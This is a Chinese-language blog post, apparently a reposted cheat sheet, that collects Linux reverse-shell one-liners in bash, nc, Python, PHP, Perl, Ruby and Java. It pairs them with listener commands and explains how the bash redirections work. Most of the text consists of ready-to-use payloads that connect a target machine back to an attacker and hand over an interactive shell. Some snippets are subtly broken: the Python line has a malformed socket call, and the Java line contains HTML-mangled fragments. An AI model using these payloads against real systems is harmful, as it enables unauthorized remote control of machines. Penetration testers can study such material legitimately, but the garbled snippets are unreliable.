Linux反弹shell姿势总结

Linux反弹shell

  • Bash反弹shell
  • nc反弹shell
  • python反弹shell
  • php反弹shell
    • 使用php的exec函数反弹shell
    • 使用php的fsockopen远程连接
  • Perl反弹shell
  • Ruby反弹shell
  • Java反弹shell
  • 其他反弹shell姿势

Linux反弹shell场景非常常见,常用于目标主机反弹shell给攻击机。
攻击机监听相应端口,目标机执行反弹shell,getshell!

Bash反弹shell

目标机:

bash -i >& /dev/tcp/ip/port 0>&1  //将shell反弹回相应的地址端口

本机使用nc进行监听:

nc -lvvp port  //nc监听本机相应端口

Linux反弹shell姿势总结_第1张图片
Linux反弹shell姿势总结_第2张图片
搞懂原理
bash -i 打开一个交互式bash
/dev/tcp/ip/port 与指定地址端口建立TCP连接

“>&” 和 “0>&1” 是什么意思。这是Linux文件描述符和重定向。

  • 标准输入(stdin):代码0,使用<或<<
  • 标准输出(stdout):代码为1,使用>或>>
  • 标准错误输出(stderr):代码为2,使用2>或>>

“>&”是将标准错误输出合并到标准输出中。
如执行 bash -i >& /dev/tcp/ip/port 它会将bash的标准输出和标准错误输出发送给指定地址端口,但本机不能进行输入。

“>&”最好的理解:

  • 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
  • 当>&后面接文件描述时,表示将前面的文件描述符重定向至后面的文件描述符。

0>&1是将标准输入重定向到标准输出中,这样本机就可以接收用户的输入了。
当目标机有python环境时,用得到的shell使用python可以获得一个较为完整的交互式shell。

python -c 'import pty;pty.spawn("/bin/bash")'

nc反弹shell

当目标机安装nc时,可以使用nc进行反弹shell。
本机使用nc监听端口

nc -lvvp 4444

目标机使用nc方向连接

nc -e /bin/bash ip port

如果nc不支持 -e参数,可以使用linux的管道符进行反弹

nc -lnvp 3333
nc -lnvp 4444

目标机中使用nc方向连接

nc ip 3333|/bin/bash|ip 4444

python反弹shell

使用python反弹shell

python -c "import os,socket,subprocess;s=socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip"port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);"

目标机python执行需要反弹的地址和端口
本机使用nc监听

nc -lvvp port

php反弹shell

使用php的exec函数反弹shell

php -r 'exec("/bin/bash -i >& /dev/tcp/ip/port")'

使用php的fsockopen远程连接

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

注:php反弹shell需要php关闭safe_mode选项,才能使用exec函数。

Perl反弹shell

perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'

Java反弹shell

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[]) p.waitFor()

其他反弹shell姿势

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port>/tmp/f
exec 5<>/dev/tcp/ip/port;cat <&5|while read line;do $line>&5 2>&1;done

人生漫漫其修远兮,网安无止境。
一同前行,加油!

你可能感兴趣的:(Linux系统安全,shell,安全,黑盒测试,linux,业务流程测试)